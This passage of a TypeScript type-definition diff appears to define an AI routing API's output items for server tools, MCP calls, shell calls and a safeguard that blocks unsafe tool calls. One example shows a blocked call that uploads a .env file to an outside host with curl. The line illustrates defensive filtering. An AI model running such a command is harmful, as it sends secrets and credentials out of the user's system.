+ * @type object + */ +export type OutputToolSearchServerToolItem = { + /** + * @description The JSON arguments of the model call, verbatim. Replaying the item reuses them. + * @example {"query":"weather tools"} + * @type string | undefined + */ + arguments?: string + /** + * @description The ID of the model call that ran the search. Replaying the item reuses it. + * @example call_search_1 + * @type string | undefined + */ + call_id?: string + /** + * @description The deferred-tool index the router showed the model with a pre-search, listing tool sources and names. Replaying the item shows the same index. + * @example Deferred tools, found with tool_search and called with tool_exec: + * Sources: mcp__sentry (12). + * @type string | undefined + */ + catalog_index?: string + /** + * @description The error message when the tool call failed before producing a result. Set together with `status: 'failed'`; absent on a successful call. + * @example Tool execution failed + * @type string | undefined + */ + error?: string + /** + * @description How the model saw the matches. `compact` means each tool by name, description, and input shape, plus a call example. Replaying the item renders the same result. + * @example compact + * @type string | undefined + */ + format?: 'compact' + /** + * @description The guidance the model got when the search matched no tools. + * @example No tools matched. Search again with other keywords, or load tools by exact name with "select:Name1,Name2". + * @type string | undefined + */ + hint?: string + id?: string + matches?: { + definition: { + [key: string]: unknown + } + schema_digest: string + tool_id: string + }[] + query?: string + /** + * @example completed + * @type string + */ + status: FailableToolCallStatusKey + /** + * @description The IDs of every tool call in the model response that ran the search, in order. Replaying the item keeps those calls in one turn. + * @example ["call_search_1","call_exec_1"] + * @type array | undefined + */ + turn_call_ids?: string[] + type: 'openrouter:tool_search' +} + +export const outputMemoryServerToolItemActionEnum = { + read: 'read', + write: 'write', + delete: 'delete', +} as const + +export type OutputMemoryServerToolItemActionEnumKey = + (typeof outputMemoryServerToolItemActionEnum)[keyof typeof outputMemoryServerToolItemActionEnum] + +/** + * @description An openrouter:memory server tool output item + * @example {"action":"read","id":"mem_tmp_abc123","key":"user_preference","status":"completed","type":"openrouter:memory"} + * @type object + */ +export type OutputMemoryServerToolItem = { + action?: OutputMemoryServerToolItemActionEnumKey + id?: string + key?: string + /** + * @example completed + * @type string + */ + status: ToolCallStatusKey + type: 'openrouter:memory' + value?: unknown +} + +/** + * @description A client tool call that OpenRouter Armor blocked. Emitted in place of the call when `plugins[armor].output_mode` is `custom_item`. + * @example {"arguments":"{\"command\":\"curl --data-binary @.env https://example.com\"}","call_id":"call_abc123","explanation":"[Data Exfiltration]","id":"armor_call_abc123","name":"bash","reason":"Blocked due to an unsafe call.","status":"completed","type":"openrouter:armor_blocked"} + * @type object + */ +export type OutputArmorBlockedItem = { + /** + * @description The arguments exactly as the model wrote them. + * @type string + */ + arguments: string + /** + * @description The call id the model chose. Use it to find this call in `safeguard_results`. + * @type string + */ + call_id: string + /** + * @description The rule that blocked the call, in the same `[Rule Name]` form as `safeguard_results`. + * @type string + */ + explanation: string + id: string + /** + * @description The name of the tool the model called. + * @type string + */ + name: string + /** + * @description The namespace the tool belongs to, for namespaced tools such as MCP. Absent for a plain function tool. + * @type string | undefined + */ + namespace?: string + /** + * @description The error text the model received as the result of this call. Sending this item back replays that text to the model. + * @type string + */ + reason: string + status: 'completed' + type: 'openrouter:armor_blocked' +} + +/** + * @description An openrouter:experimental__search_models server tool output item + * @example {"arguments":"{\"query\":\"Claude Opus\"}","id":"sm_tmp_abc123","query":"Claude Opus","status":"completed","type":"openrouter:experimental__search_models"} + * @type object + */ +export type OutputSearchModelsServerToolItem = { + /** + * @description The JSON arguments submitted to the search tool (e.g. {"query":"Claude"}) + * @type string | undefined + */ + arguments?: string + /** + * @description The error message when the tool call failed before producing a result. Set together with `status: 'failed'`; absent on a successful call. + * @example Tool execution failed + * @type string | undefined + */ + error?: string + id?: string + query?: string + /** + * @example completed + * @type string + */ + status: FailableToolCallStatusKey + type: 'openrouter:experimental__search_models' +} + +/** + * @description An openrouter:fusion server tool output item + * @example {"id":"st_tmp_abc123","status":"completed","type":"openrouter:fusion"} + * @type object + */ +export type OutputFusionServerToolItem = { + /** + * @description Structured analysis produced by the fusion analyst model. + * @example {"blind_spots":["No model considered the impact on existing API consumers."],"consensus":["All panel models agree the request is asking for a concise summary."],"contradictions":[{"stances":[{"model":"openai/gpt-5","stance":"Favors an incremental rollout."},{"model":"anthropic/claude-sonnet-4.5","stance":"Favors a single coordinated migration."}],"topic":"Recommended approach"}],"partial_coverage":[{"models":["openai/gpt-5"],"point":"Only one model addressed the rollback strategy."}],"unique_insights":[{"insight":"Highlighted a backwards-compatibility risk the other models missed.","model":"anthropic/claude-sonnet-4.5"}]} + * @type object | undefined + */ + analysis?: FusionAnalysisResult + /** + * @description Error message when the fusion run did not produce an analysis result. + * @type string | undefined + */ + error?: string + /** + * @description Models that were requested as part of the analysis panel but did not produce a response. Present when at least one requested analysis model failed. On a completed item the fusion result is still usable but was produced from a degraded panel; on a failed item it lists the panels that failed before the run stopped, so the caller can see which models were attempted even though no analysis was produced. + * @type array | undefined + */ + failed_models?: { + /** + * @description Error message describing why the model failed. + * @type string + */ + error: string + /** + * @description Slug of the analysis model that failed. + * @type string + */ + model: string + /** + * @description HTTP status code from the upstream response, when available (e.g. 402, 429). + * @type integer | undefined + */ + status_code?: number + }[] + /** + * @description Typed failure reason when the fusion run failed. Possible values include: all_panels_failed, insufficient_credits, rate_limited, invalid_model, judge_not_valid_json, judge_schema_mismatch, judge_upstream_error, judge_empty_completion. The four analysis-stage codes keep their pre-rename `judge_` spelling so existing consumers keep matching. The consumer-cancellation code is `cancelled`. + * @type string | undefined + */ + failure_reason?: string + id?: string + /** + * @description Analysis models that produced a response in this fusion run, with each model's full panel content. + * @type array | undefined + */ + responses?: { + content?: string + model: string + }[] + /** + * @description Web pages the analysis panels and analyst retrieved via web search during this fusion run, deduplicated by URL across the whole run. Present when at least one model cited a source. + * @type array | undefined + */ + sources?: FusionSource[] + /** + * @example completed + * @type string + */ + status: ToolCallStatusKey + type: 'openrouter:fusion' +} + +/** + * @description An openrouter:advisor server tool output item + * @example {"id":"st_tmp_abc123","status":"completed","type":"openrouter:advisor"} + * @type object + */ +export type OutputAdvisorServerToolItem = { + /** + * @description The advisor model's response (the advice text returned to the executor). + * @type string | undefined + */ + advice?: string + /** + * @description Error message when the advisor call did not produce advice. Set together with `status: 'failed'` on the terminal item. + * @type string | undefined + */ + error?: string + id?: string + /** + * @description Provider-safe function name of the specific advisor instance that produced this item (e.g. `openrouter_advisor__1`). Present only when more than one advisor tool is configured; omitted for the default single advisor. Echo this field back unchanged so the advisor's cross-request memory stays namespaced to the correct instance. This identity is positional: it is derived from the index of the advisor entry in the request `tools` array, so clients must keep the order of advisor tool entries stable across requests in a conversation. Reordering or inserting advisor entries shifts these names and causes each advisor's cross-request memory to be attributed to the wrong instance. + * @example openrouter_advisor__1 + * @type string | undefined + */ + instance_name?: string + /** + * @description Slug of the advisor model that was consulted. + * @type string | undefined + */ + model?: string + /** + * @description The prompt the executor sent to the advisor. + * @type string | undefined + */ + prompt?: string + /** + * @example completed + * @type string + */ + status: FailableToolCallStatusKey + type: 'openrouter:advisor' +} + +/** + * @description An openrouter:subagent server tool output item + * @example {"id":"st_tmp_abc123","status":"completed","type":"openrouter:subagent"} + * @type object + */ +export type OutputSubagentServerToolItem = { + /** + * @description EXPERIMENTAL — subject to change without notice. The `call_id` of the tool call that spawned this subagent. This id will also be included as the `subagent_id` on any `function_call` items created by the subagent. This must be returned in the request so the `function_call` can be matched with the correct subagent. A suspended `in_progress` item is announced once and never re-emitted or terminally closed — completion arrives as a new item with the same `call_id`. + * @type string | undefined + */ + call_id?: string + /** + * @description Error message when the subagent task did not produce an outcome. Set together with `status: 'failed'` on the terminal item. + * @type string | undefined + */ + error?: string + id?: string + /** + * @description Provider-safe function name of the specific subagent instance that produced this item (e.g. `openrouter_subagent__1`). Present only on items from non-default instances — the second and later subagent entries in the request `tools` array. The first (default) instance omits it, even when multiple subagents are configured. When a replayed item echoes this field back, the transcript rehydrates the call under that instance's tool. This identity is positional: it is derived from the index of the subagent entry in the request `tools` array, so keep the order of subagent entries stable across requests in a conversation. + * @example openrouter_subagent__1 + * @type string | undefined + */ + instance_name?: string + /** + * @description Slug of the worker model that executed the task. + * @type string | undefined + */ + model?: string + /** + * @description Configured name of the subagent that executed the task (the `name` on its tool entry). Present only for named subagents; omitted for an unnamed (default) subagent. + * @example summarizer + * @type string | undefined + */ + name?: string + /** + * @description The worker model's result (the outcome text returned to the delegating model). + * @type string | undefined + */ + outcome?: string + /** + * @example completed + * @type string + */ + status: FailableToolCallStatusKey + /** + * @description The task description the delegating model sent to the worker. + * @type string | undefined + */ + task_description?: string + /** + * @description The short task identifier the delegating model supplied. + * @type string | undefined + */ + task_name?: string + type: 'openrouter:subagent' +} + +/** + * @description An openrouter:files server tool output item + * @example {"filename":"notes.txt","id":"fl_tmp_abc123","operation":"read","result":"{\"id\":\"file_abc\",\"filename\":\"notes.txt\",\"content\":\"hello\"}","status":"completed","type":"openrouter:files"} + * @type object + */ +export type OutputFilesServerToolItem = { + /** + * @description The raw tool-call arguments string as emitted by the model. + * @type string | undefined + */ + arguments?: string | null + /** + * @description The model-generated tool call id from the originating turn. + * @type string | undefined + */ + call_id?: string | null + /** + * @description Error message when the file operation failed. + * @type string | undefined + */ + error?: string + /** + * @description The target file id supplied in the tool-call arguments. + * @type string | undefined + */ + file_id?: string + /** + * @description The target filename supplied in the tool-call arguments. + * @type string | undefined + */ + filename?: string + id?: string + /** + * @description The file operation performed (list, read, write, or edit). + * @type string | undefined + */ + operation?: string + /** + * @description JSON-serialized result of the file operation. + * @type string | undefined + */ + result?: string + /** + * @example completed + * @type string + */ + status: ToolCallStatusKey + type: 'openrouter:files' +} + +/** + * @description Captured stdout and stderr for one command of a shell call, with its exit or timeout outcome. + * @example {"outcome":{"exit_code":0,"type":"exit"},"stderr":"","stdout":"total 0\n"} + * @type object + */ +export type ShellCallOutputContent = { + outcome: + | { + exit_code: number + type: 'exit' + [key: string]: unknown + } + | { + type: 'timeout' + [key: string]: unknown + } + stderr: string + stdout: string + [key: string]: unknown +} + +/** + * @description An openrouter:shell server tool output item + * @example {"action":{"commands":["echo hello"],"max_output_length":null,"timeout_ms":null},"call_id":"call_abc123","id":"st_tmp_abc123","output":[{"outcome":{"exit_code":0,"type":"exit"},"stderr":"","stdout":"hello\n"}],"status":"completed","type":"openrouter:shell"} + * @type object + */ +export type OutputShellServerToolItem = { + action?: { + commands: string[] + max_output_length?: number | null + timeout_ms?: number | null + } + /** + * @description The raw tool-call arguments string as emitted by the model. + * @type string | undefined + */ + arguments?: string | null + /** + * @description The model-generated tool call id from the originating turn. + * @type string | undefined + */ + call_id?: string | null + /** + * @description The canonical container id the command ran under — the `{container_id}` for the Container Files API, reusable as a `container_reference` in later requests. Present on every sandbox-executed call, even when no files changed. + * @type string | undefined + */ + container_id?: string + /** + * @description The error message when the sandbox call failed before producing a result (for example, the per-user container limit was reached). Set together with `status: 'failed'`; absent on a successful call. `output` is omitted when `error` is set. + * @type string | undefined + */ + error?: string + /** + * @description Citations for the files the sandbox command created or modified, most-recently-touched first (at most 10). Retrieve them via the Container Files API. + * @type array | undefined + */ + files?: { + container_id: string + end_index: number + file_id: string + filename: string + start_index: number + type: 'container_file_citation' + }[] + id?: string + output?: ShellCallOutputContent[] + /** + * @example completed + * @type string + */ + status: FailableToolCallStatusKey + type: 'openrouter:shell' +} + +/** + * @description A local shell command execution call + * @example {"action":{"command":["ls","-la"],"env":{"PATH":"/usr/bin"},"timeout_ms":5000,"type":"exec"},"call_id":"call-abc123","id":"shell-abc123","status":"completed","type":"local_shell_call"} + * @type object + */ +export type LocalShellCallItem = { + action: { + command: string[] + env: { + [key: string]: string + } + timeout_ms?: number | null + type: 'exec' + user?: string | null + working_directory?: string | null + } + call_id: string + id: string + /** + * @example completed + * @type string + */ + status: ToolCallStatusKey + type: 'local_shell_call' +} + +/** + * @description Output from a local shell command execution + * @example {"id":"output-abc123","output":"total 24\ndrwxr-xr-x 5 user staff 160 Jan 1 12:00 .","status":"completed","type":"local_shell_call_output"} + * @type object + */ +export type LocalShellCallOutputItem = { + id: string + output: string + status?: ToolCallStatusKey | null + type: 'local_shell_call_output' +} + +/** + * @description A shell command execution call (newer variant) + * @example {"action":{"commands":["ls","-la"],"max_output_length":10000},"call_id":"call-abc123","status":"completed","type":"shell_call"} + * @type object + */ +export type ShellCallItem = { + action: { + commands: string[] + max_output_length?: number | null + timeout_ms?: number | null + } + /** + * @description The raw tool-call arguments string as emitted by the model. Echo back unchanged when replaying history; used verbatim to preserve provider prompt-cache prefixes. + * @type string | undefined + */ + arguments?: string | null + call_id: string + environment?: unknown + id?: string | null + status?: ToolCallStatusKey | null + type: 'shell_call' +} + +/** + * @description Output from a shell command execution (newer variant) + * @example {"call_id":"call-abc123","output":[{"outcome":{"exit_code":0,"type":"exit"},"stderr":"","stdout":"total 0\n"}],"status":"completed","type":"shell_call_output"} + * @type object + */ +export type ShellCallOutputItem = { + call_id: string + /** + * @description The canonical container id the command ran under — the `{container_id}` for the Container Files API, reusable as a `container_reference` in later requests. Present on every sandbox-executed call, even when no files changed. + * @type string | undefined + */ + container_id?: string + /** + * @description The error message when the sandbox call failed before producing a result, as echoed from a failed `shell_call_output` emission. + * @type string | undefined + */ + error?: string + /** + * @description Citations for the files the sandbox command created or modified, most-recently-touched first (at most 10). Retrieve them via the Container Files API. + * @type array | undefined + */ + files?: { + container_id: string + end_index: number + file_id: string + filename: string + start_index: number + type: 'container_file_citation' + }[] + id?: string | null + max_output_length?: number | null + output: ShellCallOutputContent[] + status?: ToolCallStatusKey | null + type: 'shell_call_output' +} + +/** + * @description List of available MCP tools from a server + * @example {"id":"mcp-list-abc123","server_label":"database-server","tools":[{"description":"Execute a database query","input_schema":{"properties":{"query":{"type":"string"}},"type":"object"},"name":"query_database"}],"type":"mcp_list_tools"} + * @type object + */ +export type McpListToolsItem = { + error?: string | null + id: string + server_label: string + tools: { + annotations?: unknown + description?: string | null + input_schema: { + [key: string]: unknown + } + name: string + }[] + type: 'mcp_list_tools' +} + +/** + * @description Request for approval to execute an MCP tool + * @example {"arguments":"{\"id\":\"123\"}","id":"approval-abc123","name":"delete_record","server_label":"database-server","type":"mcp_approval_request"} + * @type object + */ +export type McpApprovalRequestItem = { + arguments: string + id: string + name: string + server_label: string + type: 'mcp_approval_request' +} + +/** + * @description User response to an MCP tool approval request + * @example {"approval_request_id":"approval-abc123","approve":true,"reason":"Approved for execution","type":"mcp_approval_response"} + * @type object + */ +export type McpApprovalResponseItem = { + approval_request_id: string + approve: boolean + id?: string | null + reason?: string | null + type: 'mcp_approval_response' +} + +/** + * @description The MCP server returned a protocol-level error + * @example {"code":-32601,"message":"Method not found","type":"mcp_protocol_error"} + * @type object + */ +export type McpProtocolError = { + code: number + message: string + type: 'mcp_protocol_error' +} + +/** + * @description The MCP tool ran but reported a failure + * @example {"content":"Connection refused","type":"mcp_tool_execution_error"} + * @type object + */ +export type McpToolExecutionError = { + content?: unknown + type: 'mcp_tool_execution_error' +} + +/** + * @description The MCP server request failed at the HTTP layer + * @example {"code":503,"message":"Service Unavailable","type":"http_error"} + * @type object + */ +export type McpHttpError = { + code: number + message: string + type: 'http_error' +} + +/** + * @description Error from an MCP tool call, either a plain message or a structured error + * @example {"code":503,"message":"Service Unavailable","type":"http_error"} + */ +export type McpToolCallError = + | string + | McpProtocolError + | McpToolExecutionError + | McpHttpError + | null + +export const mcpCallItemStatusEnum = { + in_progress: 'in_progress', + completed: 'completed', + incomplete: 'incomplete', + calling: 'calling', + failed: 'failed', +} as const + +export type McpCallItemStatusEnumKey = + (typeof mcpCallItemStatusEnum)[keyof typeof mcpCallItemStatusEnum] + +/** + * @description An MCP tool call with its output or error + * @example {"arguments":"{\"query\":\"SELECT * FROM users\"}","id":"mcp-call-abc123","name":"query_database","output":"[{\"id\":1,\"name\":\"Alice\"}]","server_label":"database-server","type":"mcp_call"} + * @type object + */ +export type McpCallItem = { + approval_request_id?: string | null + arguments: string + /** + * @description Error from an MCP tool call, either a plain message or a structured error + * @example {"code":503,"message":"Service Unavailable","type":"http_error"} + */ + error?: McpToolCallError + id: string + name: string + output?: string | null + server_label: string + status?: McpCallItemStatusEnumKey + type: 'mcp_call' +} + +/** + * @description A reference to a previous response item by ID + * @example {"id":"msg-abc123","type":"item_reference"} + * @type object + */ +export type ItemReferenceItem = { + id: string + type: 'item_reference' +} + +export const toolSearchCallItemExecutionEnum = { + server: 'server', + client: 'client', +} as const + +export type ToolSearchCallItemExecutionEnumKey = + (typeof toolSearchCallItemExecutionEnum)[keyof typeof toolSearchCallItemExecutionEnum] + +export const toolSearchCallItemStatusEnum = { + in_progress: 'in_progress', + completed: 'completed', + incomplete: 'incomplete', +} as const + +export type ToolSearchCallItemStatusEnumKey = + (typeof toolSearchCallItemStatusEnum)[keyof typeof toolSearchCallItemStatusEnum] + +/** + * @description A tool search call the client executed + * @example {"arguments":{"query":"weather"},"call_id":"call_search_1","execution":"client","status":"completed","type":"tool_search_call"} + * @type object + */ +export type ToolSearchCallItem = { + arguments?: unknown + call_id: string + execution: ToolSearchCallItemExecutionEnumKey + id?: string | null + status?: ToolSearchCallItemStatusEnumKey | null + type: 'tool_search_call' +} + +export const toolSearchOutputItemExecutionEnum = { + server: 'server', + client: 'client', +} as const + +export type ToolSearchOutputItemExecutionEnumKey = + (typeof toolSearchOutputItemExecutionEnum)[keyof typeof toolSearchOutputItemExecutionEnum] + +export const toolSearchOutputItemStatusEnum = { + in_progress: 'in_progress', + completed: 'completed', + incomplete: 'incomplete', +} as const + +export type ToolSearchOutputItemStatusEnumKey = + (typeof toolSearchOutputItemStatusEnum)[keyof typeof toolSearchOutputItemStatusEnum] + +export const toolSearchOutputItemToolsAllowedCallersEnum = { + direct: 'direct', + programmatic: 'programmatic', +} as const + +export type ToolSearchOutputItemToolsAllowedCallersEnumKey = + (typeof toolSearchOutputItemToolsAllowedCallersEnum)[keyof typeof toolSearchOutputItemToolsAllowedCallersEnum] + +/** + * @description The tools a client-executed tool search loaded + * @example {"call_id":"call_search_1","execution":"client","status":"completed","tools":[{"name":"get_weather","parameters":{"properties":{"location":{"type":"string"}},"type":"object"},"type":"function"}],"type":"tool_search_output"} + * @type object + */ +export type ToolSearchOutputItem = { + call_id: string + execution: ToolSearchOutputItemExecutionEnumKey + id?: string | null + status?: ToolSearchOutputItemStatusEnumKey | null + tools: ( + | (FunctionTool & { + allowed_callers?: + | ToolSearchOutputItemToolsAllowedCallersEnumKey[] + | null + /** + * @description Lets the model keep working after calling this tool instead of waiting for its output. The tool is still executed by the client; return the result in a later request as a `function_call_output` with the original `call_id`. Only honored by providers whose Responses API supports async tools; ignored elsewhere. + * @example true + * @type boolean | undefined + */ + async?: boolean + /** + * @description Withhold this tool from the model until `openrouter:tool_search` finds it. Where the request declares no search tool, OpenRouter may add `openrouter:tool_search` to serve the flag, and otherwise sends the tool in full. A request that declares the search tool itself must keep at least one tool non-deferred. + * @example true + * @type boolean | undefined + */ + defer_loading?: boolean + output_schema?: { + [key: string]: unknown + } | null + }) + | PreviewWebSearchServerTool + | Preview20250311WebSearchServerTool + | LegacyWebSearchServerTool + | WebSearchServerTool + | FileSearchServerTool + | ComputerUseServerTool + | CodeInterpreterServerTool + | McpServerTool + | ImageGenerationServerTool + | CodexLocalShellTool + | ShellServerTool + | ApplyPatchServerTool + | CustomTool + | NamespaceTool + | AdvisorServerToolOpenRouter + | SubagentServerToolOpenRouter + | DatetimeServerTool + | FilesServerTool + | FusionServerToolOpenRouter + | ImageGenerationServerToolOpenRouter + | SearchModelsServerToolOpenRouter + | WebFetchServerTool + | WebSearchServerToolOpenRouter + | ApplyPatchServerToolOpenRouter + | BashServerTool + | ShellServerToolOpenRouter + | ToolSearchServerTool + | { + type: string + [key: string]: unknown + } + | McpServerToolOpenRouter + )[] + type: 'tool_search_output' +} + +/** + * @description Input for a response request - can be a string or array of items + * @example [{"content":"What is the weather today?","role":"user"}] + */ +export type Inputs = + | string + | ( + | ReasoningItem + | EasyInputMessage + | InputMessageItem + | FunctionCallItem + | FunctionCallOutputItem + | ApplyPatchCallItem + | ApplyPatchCallOutputItem + | (OutputMessageItem & { + content?: + | (ResponseOutputText | OpenAIResponsesRefusalContent)[] + | string + | null + /** + * @default 'message' + * @type string | undefined + */ + type?: 'message' + }) + | (OutputReasoningItem & { + summary?: ReasoningSummaryText[] | null + }) + | OutputWebSearchCallItem + | OutputFileSearchCallItem + | OutputImageGenerationCallItem + | OutputCodeInterpreterCallItem + | OutputComputerCallItem + | OutputDatetimeItem + | OutputWebSearchServerToolItem + | OutputCodeInterpreterServerToolItem + | OutputFileSearchServerToolItem + | OutputImageGenerationServerToolItem + | OutputBrowserUseServerToolItem + | OutputBashServerToolItem + | OutputTextEditorServerToolItem + | OutputApplyPatchServerToolItem + | OutputWebFetchServerToolItem + | OutputToolSearchServerToolItem + | OutputMemoryServerToolItem + | OutputArmorBlockedItem + | OutputSearchModelsServerToolItem + | OutputFusionServerToolItem + | OutputAdvisorServerToolItem + | OutputSubagentServerToolItem + | OutputFilesServerToolItem + | OutputShellServerToolItem + | LocalShellCallItem + | LocalShellCallOutputItem + | ShellCallItem + | ShellCallOutputItem + | McpListToolsItem + | McpApprovalRequestItem + | McpApprovalResponseItem + | McpCallItem + | CustomToolCallItem + | CustomToolCallOutputItem + | CompactionTriggerItem + | CompactionItem + | ContextCompactionItem + | ItemReferenceItem + | AdditionalToolsItem + | AgentMessageItem + | ConfigurationUpdateItem + | ToolSearchCallItem + | ToolSearchOutputItem + )[] + +/** + * @description Constrains the model to a pre-defined set of allowed tools + * @example {"mode":"auto","tools":[{"name":"get_weather","type":"function"}],"type":"allowed_tools"} + * @type object + */ +export type ToolChoiceAllowed = { + mode: 'auto' | 'required' + tools: { + [key: string]: unknown + }[] + type: 'allowed_tools' +} + +/** + * @description Forces a call to the named MCP server; `name` narrows it to one of its tools + * @example {"server_label":"huggingface","type":"mcp"} + * @type object + */ +export type ToolChoiceMcp = { + name?: string | null + server_label: string + type: 'mcp' +} + +/** + * @example auto + */ +export type OpenAIResponsesToolChoice = + | 'auto' + | 'none' + | 'required' + | { + name: string + type: 'function' + } + | { + type: 'web_search_preview_2025_03_11' | 'web_search_preview' + } + | ToolChoiceAllowed + | { + type: 'apply_patch' + } + | { + type: 'shell' + } + | ToolChoiceMcp + +export const openAIResponsesTruncation = { + auto: 'auto', + disabled: 'disabled', +} as const + +export type OpenAIResponsesTruncationKey = + (typeof openAIResponsesTruncation)[keyof typeof openAIResponsesTruncation] + +export const outputModalityEnum = { + text: 'text', + image: 'image', +} as const + +export type OutputModalityEnumKey = + (typeof outputModalityEnum)[keyof typeof outputModalityEnum] + +/** + * @description Configuration for reasoning mode in the response + * @example {"enabled":true,"summary":"auto"} + */ +export type ReasoningConfig = + | (BaseReasoningConfig & { + enabled?: boolean | null + max_tokens?: number | null + }) + | null + +/** + * @description Metadata key-value pairs for the request. Keys must be ≤64 characters and cannot contain brackets. Values must be ≤512 characters. Maximum 16 pairs allowed. + * @example {"session_id":"abc-def-ghi","user_id":"123"} + * @type object + */ +export type RequestMetadata = { + [key: string]: string +} | null + +export const responseIncludesEnum = { + 'file_search_call.results': 'file_search_call.results', + 'message.input_image.image_url': 'message.input_image.image_url', + 'computer_call_output.output.image_url': + 'computer_call_output.output.image_url', + 'reasoning.encrypted_content': 'reasoning.encrypted_content', + 'output.encrypted_content': 'output.encrypted_content', + 'code_interpreter_call.outputs': 'code_interpreter_call.outputs', +} as const + +export type ResponseIncludesEnumKey = + (typeof responseIncludesEnum)[keyof typeof responseIncludesEnum] + +/** + * @example {"id":"prompt-abc123","variables":{"name":"John"}} + * @type object + */ +export type StoredPromptTemplate = { + id: string + variables?: { + [key: string]: string | InputText | InputImage | InputFile + } | null +} | null + +export const textConfigVerbosityEnum = { + high: 'high', + low: 'low', + medium: 'medium', +} as const + +export type TextConfigVerbosityEnumKey = + (typeof textConfigVerbosityEnum)[keyof typeof textConfigVerbosityEnum] + +/** + * @description Text output configuration including format and verbosity + * @example {"format":{"type":"text"},"verbosity":"medium"} + * @type object + */ +export type TextConfig = { + /** + * @description Text response format configuration + * @example {"type":"text"} + */ + format?: Formats + verbosity?: TextConfigVerbosityEnumKey | null +} + +export const textExtendedConfigVerbosityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type TextExtendedConfigVerbosityEnumKey = + (typeof textExtendedConfigVerbosityEnum)[keyof typeof textExtendedConfigVerbosityEnum] + +/** + * @description Text output configuration including format and verbosity + * @example {"format":{"type":"text"}} + */ +export type TextExtendedConfig = TextConfig & { + verbosity?: TextExtendedConfigVerbosityEnumKey | null +} + +/** + * @description The audio of the withheld message: its `id` and `transcript`. The plugin does not retain `data` or `expires_at`. + * @example {"id":"audio_abc123","transcript":"Sure, I can take 20% off your order."} + * @type object + */ +export type AlignmentChatAudio = { + /** + * @description The provider id of the audio. + * @minLength 1 + * @type string | undefined + */ + id?: string + /** + * @description The transcript of the audio. + * @type string + */ + transcript: string +} + +export type AlignmentChatImage = { + image_url: { + /** + * @minLength 1 + * @type string + */ + url: string + } + type: 'image_url' +} + +export type AlignmentChatToolCall = { + function: { + arguments: string + name: string + } + id: string + type: 'function' +} + +/** + * @description The assistant message of the withheld turn, without reasoning. `audio` holds the id and transcript of the audio, without `data` or `expires_at`. + * @example {"content":"Sure, I can take 20% off your order.","refusal":null,"role":"assistant"} + * @type object + */ +export type AlignmentChatRejected = { + /** + * @description The audio of the withheld message: its `id` and `transcript`. The plugin does not retain `data` or `expires_at`. + * @example {"id":"audio_abc123","transcript":"Sure, I can take 20% off your order."} + * @type object | undefined + */ + audio?: AlignmentChatAudio + content: string | null + images?: AlignmentChatImage[] + refusal: string | null + role: 'assistant' + tool_calls?: AlignmentChatToolCall[] +} + +/** + * @example {"arguments":"{\"location\":\"San Francisco\",\"unit\":\"celsius\"}","call_id":"call-abc123","id":"call-abc123","name":"get_weather","type":"function_call"} + * @type object + */ +export type OutputItemFunctionCall = { + arguments: string + /** + * @description True when the model called a tool declared with `async: true` and may continue its turn before the output is returned. Return the result in a later request as a `function_call_output` with this `call_id`. + * @example true + * @type boolean | undefined + */ + async?: boolean + call_id: string + id?: string + name: string + /** + * @description Namespace qualifier for tools registered as part of a namespace tool group (e.g. an MCP server) + * @type string | undefined + */ + namespace?: string + status?: 'completed' | 'incomplete' | 'in_progress' + type: 'function_call' +} + +export const outputItemCustomToolCallStatusEnum = { + in_progress: 'in_progress', + completed: 'completed', + incomplete: 'incomplete', +} as const + +export type OutputItemCustomToolCallStatusEnumKey = + (typeof outputItemCustomToolCallStatusEnum)[keyof typeof outputItemCustomToolCallStatusEnum] + +/** + * @example {"call_id":"call-abc123","id":"ctc-abc123","input":"*** Begin Patch\n*** End Patch","name":"apply_patch","status":"completed","type":"custom_tool_call"} + * @type object + */ +export type OutputItemCustomToolCall = { + /** + * @description True when the model called a tool declared with `async: true` and may continue its turn before the output is returned. Return the result in a later request as a `function_call_output` with this `call_id`. + * @example true + * @type boolean | undefined + */ + async?: boolean + call_id: string + id?: string + input: string + name: string + /** + * @description Namespace qualifier for tools registered as part of a namespace tool group (e.g. an MCP server) + * @type string | undefined + */ + namespace?: string + status?: OutputItemCustomToolCallStatusEnumKey + type: 'custom_tool_call' +} + +export const outputItemApplyPatchCallStatusEnum = { + in_progress: 'in_progress', + completed: 'completed', +} as const + +export type OutputItemApplyPatchCallStatusEnumKey = + (typeof outputItemApplyPatchCallStatusEnum)[keyof typeof outputItemApplyPatchCallStatusEnum] + +/** + * @example {"call_id":"call_abc123","id":"apc_abc123","operation":{"diff":"@@ function main() {\n+ console.log(\"hi\");\n }","path":"/src/main.ts","type":"update_file"},"status":"completed","type":"apply_patch_call"} + * @type object + */ +export type OutputItemApplyPatchCall = { + call_id: string + created_by?: string + id: string + operation: + | (ApplyPatchCreateFileOperation & { + type: 'create_file' + }) + | (ApplyPatchUpdateFileOperation & { + type: 'update_file' + }) + | (ApplyPatchDeleteFileOperation & { + type: 'delete_file' + }) + status: OutputItemApplyPatchCallStatusEnumKey + type: 'apply_patch_call' +} + +/** + * @example {"encrypted_content":"enc_abc123...","id":"cmp_abc123","type":"compaction"} + * @type object + */ +export type OutputItemCompaction = { + created_by?: string + encrypted_content: string + id: string + type: 'compaction' +} + +export type OutputItemMcpListTools = { + error?: string | null + id: string + server_label: string + tools: { + annotations?: unknown + description?: string | null + input_schema: { + [key: string]: unknown + } + name: string + }[] + type: 'mcp_list_tools' +} + +export const outputItemMcpCallStatusEnum = { + in_progress: 'in_progress', + completed: 'completed', + incomplete: 'incomplete', + calling: 'calling', + failed: 'failed', +} as const + +export type OutputItemMcpCallStatusEnumKey = + (typeof outputItemMcpCallStatusEnum)[keyof typeof outputItemMcpCallStatusEnum] + +export type OutputItemMcpCall = { + approval_request_id?: string | null + arguments: string + error?: + | string + | { + code: number + message: string + type: 'mcp_protocol_error' + } + | { + content?: unknown + type: 'mcp_tool_execution_error' + } + | { + code: number + message: string + type: 'http_error' + } + | null + id: string + name: string + output?: string | null + server_label: string + status?: OutputItemMcpCallStatusEnumKey + type: 'mcp_call' +} + +export type OutputItemMcpApprovalRequest = { + arguments: string + id: string + name: string + server_label: string + type: 'mcp_approval_request' +} + +/** + * @description The output items of the withheld turn, without reasoning items. The client did not receive these items; their `id` values are assigned by the plugin (`msg_`, `fc_`, `ctc_`, `ig__`, or the provider item id of a native tool call) and differ from the ids the Responses API assigns to delivered items. + * @example [{"content":[{"annotations":[],"text":"Sure, I can take 20% off your order.","type":"output_text"}],"id":"msg_1","role":"assistant","status":"completed","type":"message"}] + * @type array + */ +export type AlignmentResponsesRejected = ( + | (OutputMessage & { + type: 'message' + }) + | (OutputItemReasoning & { + type: 'reasoning' + }) + | (OutputItemFunctionCall & { + type: 'function_call' + }) + | 